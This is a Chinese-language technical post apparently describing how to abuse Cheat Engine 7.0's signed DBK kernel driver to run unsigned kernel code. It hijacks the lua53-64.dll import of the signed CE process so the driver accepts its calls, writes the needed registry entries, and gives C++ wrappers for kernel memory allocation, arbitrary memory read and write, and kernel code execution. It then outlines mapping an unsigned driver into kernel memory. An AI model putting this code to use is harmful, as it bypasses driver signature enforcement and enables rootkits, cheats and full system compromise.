利用CE的DBK驱动获取R0权限
一 分析CE7.0的DBK驱动
CE的DBK驱动提供了一些很直接的IOCTL接口,包括在分配内核中的非分页内存、执行内核代码、读写任意内存地址、建立mdl映射等,下面展示了DBK驱动通过IOCTL接口提供功能的部分源码。
这里提供了分配/释放非分页内存的功能:
case IOCTL_CE_ALLOCATEMEM_NONPAGED: { struct input { ULONG Size; } *inp; PVOID address; int size; inp=Irp->AssociatedIrp.SystemBuffer; size=inp->Size; address=ExAllocatePool(NonPagedPool,size); *(PUINT64)Irp->AssociatedIrp.SystemBuffer=0; *(PUINT_PTR)Irp->AssociatedIrp.SystemBuffer=(UINT_PTR)address; if (address==0) ntStatus=STATUS_UNSUCCESSFUL; else { DbgPrint("Alloc success. Cleaning memory... (size=%d)\n",size); DbgPrint("address=%p\n", address); RtlZeroMemory(address, size); ntStatus=STATUS_SUCCESS; } break; } case IOCTL_CE_FREE_NONPAGED: { struct input { UINT64 Address; } *inp; inp = Irp->AssociatedIrp.SystemBuffer; ExFreePool((PVOID)(UINT_PTR)inp->Address); ntStatus = STATUS_SUCCESS; break; }
这里提供了给定内核地址就能直接执行内核代码的功能:
case IOCTL_CE_EXECUTE_CODE: { typedef NTSTATUS (*PARAMETERLESSFUNCTION)(UINT64 parameters); PARAMETERLESSFUNCTION functiontocall; struct input { UINT64 functionaddress; //function address to call UINT64 parameters; } *inp=Irp->AssociatedIrp.SystemBuffer; DbgPrint("IOCTL_CE_EXECUTE_CODE\n"); functiontocall=(PARAMETERLESSFUNCTION)(UINT_PTR)(inp->functionaddress); __try { ntStatus=functiontocall(inp->parameters); DbgPrint("Still alive\n"); ntStatus=STATUS_SUCCESS; } __except(1) { DbgPrint("Exception occured\n"); ntStatus=STATUS_UNSUCCESSFUL; } break; }
之所以DBK驱动提供如此直白的接口但微软还能给签名,是因为DBK驱动做了一点基本的防护,在进程打开DBK驱动创建的设备对象时,它会通过进程文件对应的sig文件来校验进程文件的数字签名,如果校验失败,会打开设备对象失败,从而阻止其他进程使用DBK驱动提供的功能,这也就是为什么CE的安装目录下有sig文件。
二 思路
我发现CE由于需要加载lua脚本,所以导入表里有lua53-64.dll,可以通过dll劫持让CE在启动之前就加载自己写的dll,dll里加载DBK驱动,并打开其创建的设备对象,之后内存加载自己写的未签名驱动并运行DriverEntry,虽然DriverEntry不是在System进程下运行的但好歹是跑了R0的代码。
三 详细步骤
1、加载DBK驱动
CreateService创建服务,但在OpenService打开服务之前需要写4个注册表项,不然DBK驱动会加载失败。
// 写相关注册表 HKEY hKey; std::wstring subKey = Format(L"SYSTEM\\CurrentControlSet\\Services\\%ws", DBK_SERVICE_NAME); LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey.c_str(), 0, KEY_WRITE, &hKey); if (ERROR_SUCCESS != status) { LOG("RegOpenKeyEx failed"); CloseServiceHandle(hService); CloseServiceHandle(hMgr); return false; } std::wstring AValue = Format(L"\\Device\\%ws", DBK_SERVICE_NAME); RegSetValueEx(hKey, L"A", 0, REG_SZ, reinterpret_cast<const BYTE*>(AValue.data()), AValue.size() * sizeof(wchar_t)); std::wstring BValue = Format(L"\\DosDevices\\%ws", DBK_SERVICE_NAME); RegSetValueEx(hKey, L"B", 0, REG_SZ, reinterpret_cast<const BYTE*>(BValue.data()), BValue.size() * sizeof(wchar_t)); std::wstring CValue = Format(L"\\BaseNamedObjects\\%ws", DBK_PROCESS_EVENT_NAME); RegSetValueEx(hKey, L"C", 0, REG_SZ, reinterpret_cast<const BYTE*>(CValue.data()), CValue.size() * sizeof(wchar_t)); std::wstring DValue = Format(L"\\BaseNamedObjects\\%ws", DBK_THREAD_EVENT_NAME); RegSetValueEx(hKey, L"D", 0, REG_SZ, reinterpret_cast<const BYTE*>(DValue.data()), DValue.size() * sizeof(wchar_t));
2、打开设备对象
打开设备对象后,需要将之前创建的4个注册表项删除掉。
3、利用DBK驱动提供的功能
下面是分配/释放内核中的非分页内存的代码:
UINT64 DBK_AllocNonPagedMem(ULONG size) { #pragma pack(1) struct InputBuffer { ULONG size; }; #pragma pack() InputBuffer inputBuffer; inputBuffer.size = size; UINT64 allocAddress = 0LL; DWORD retSize; if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_ALLOCATEMEM_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), &allocAddress, sizeof(allocAddress), &retSize, NULL)) { LOG("DeviceIoControl IOCTL_CE_ALLOCATEMEM_NONPAGED failed"); return 0; } return allocAddress; } bool DBK_FreeNonPagedMem(UINT64 allocAddress) { #pragma pack(1) struct InputBuffer { UINT64 address; }; #pragma pack() InputBuffer inputBuffer; inputBuffer.address = allocAddress; DWORD retSize; if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_FREE_NONPAGED, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL)) { LOG("DeviceIoControl IOCTL_CE_FREE_NONPAGED failed"); return false; } return true; }
下面是读写任意进程的内存地址的代码(包括R0地址):
bool DBK_ReadProcessMem(UINT64 pid, UINT64 toAddr, UINT64 fromAddr, DWORD size, bool failToContinue) { #pragma pack(1) struct InputBuffer { UINT64 processid; UINT64 startaddress; WORD bytestoread; }; #pragma pack() UINT64 remaining = size; UINT64 offset = 0; do { UINT64 toRead = remaining; if (remaining > 4096) { toRead = 4096; } InputBuffer inputBuffer; inputBuffer.processid = pid; inputBuffer.startaddress = fromAddr + offset; inputBuffer.bytestoread = toRead; DWORD retSize; if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_READMEMORY, (LPVOID)&inputBuffer, sizeof(inputBuffer), (LPVOID)(toAddr + offset), toRead, &retSize, NULL)) { if (!failToContinue) { LOG("DeviceIoControl IOCTL_CE_READMEMORY failed"); return false; } } remaining -= toRead; offset += toRead; } while (remaining > 0); return true; } bool DBK_WriteProcessMem(UINT64 pid, UINT64 targetAddr, UINT64 srcAddr, DWORD size) { #pragma pack(1) struct InputBuffer { UINT64 processid; UINT64 startaddress; WORD bytestowrite; }; #pragma pack() UINT64 remaining = size; UINT64 offset = 0; do { UINT64 toWrite = remaining; if (remaining > (512 - sizeof(InputBuffer))) { toWrite = 512 - sizeof(InputBuffer); } InputBuffer* pInputBuffer = (InputBuffer*)malloc(toWrite + sizeof(InputBuffer)); if (NULL == pInputBuffer) { LOG("malloc failed"); return false; } pInputBuffer->processid = pid; pInputBuffer->startaddress = targetAddr + offset; pInputBuffer->bytestowrite = toWrite; memcpy((PCHAR)pInputBuffer + sizeof(InputBuffer), (PCHAR)srcAddr + offset, toWrite); DWORD retSize; if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_WRITEMEMORY, (LPVOID)pInputBuffer, (sizeof(InputBuffer) + toWrite), NULL, 0, &retSize, NULL)) { LOG("DeviceIoControl IOCTL_CE_WRITEMEMORY failed"); free(pInputBuffer); return false; } free(pInputBuffer); remaining -= toWrite; offset += toWrite; } while (remaining > 0); return true; }
下面是执行内核地址的代码:
bool DBK_ExecuteCode(UINT64 address) { #pragma pack(1) struct InputBuffer { UINT64 address; UINT64 parameters; }; #pragma pack() InputBuffer inputBuffer; inputBuffer.address = address; inputBuffer.parameters = 0; DWORD retSize; if (!DeviceIoControl(g_DBKDevice, IOCTL_CE_EXECUTE_CODE, (LPVOID)&inputBuffer, sizeof(inputBuffer), NULL, 0, &retSize, NULL)) { LOG("DeviceIoControl IOCTL_CE_EXECUTE_CODE failed"); return false; } return true; }
4、将未签名驱动映射到内核内存中并修复其RVA以及导入表,之后运行其DriverEntry。
(具体代码太多了,就不展示了)
5、创建驱动项目
要注意的是,由于这个驱动运行的方式不正常,所以要将入口点改为DriverEntry,还要禁用GS防护,这样才能避免SecurityCookie引发的crash问题。
我在里面简单打印了点日志用于验证:
extern "C" NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath) { KdPrint(("Enter DriverEntry\n")); KdPrint(("Leave DriverEntry\n")); return STATUS_SUCCESS; }
四 结果
最终目录如下:
管理员权限启动richstuff-x86_64.exe,它会在运行前加载lua53-x64.dll,之后dll会加载richstuffk64.sys驱动并打开其创建的设备对象,再通过IO控制其映射MyDriver.sys到内存中并调用其DriverEntry。
上图中的成果见附件CECheater.7z。
代码见附件code.7z。
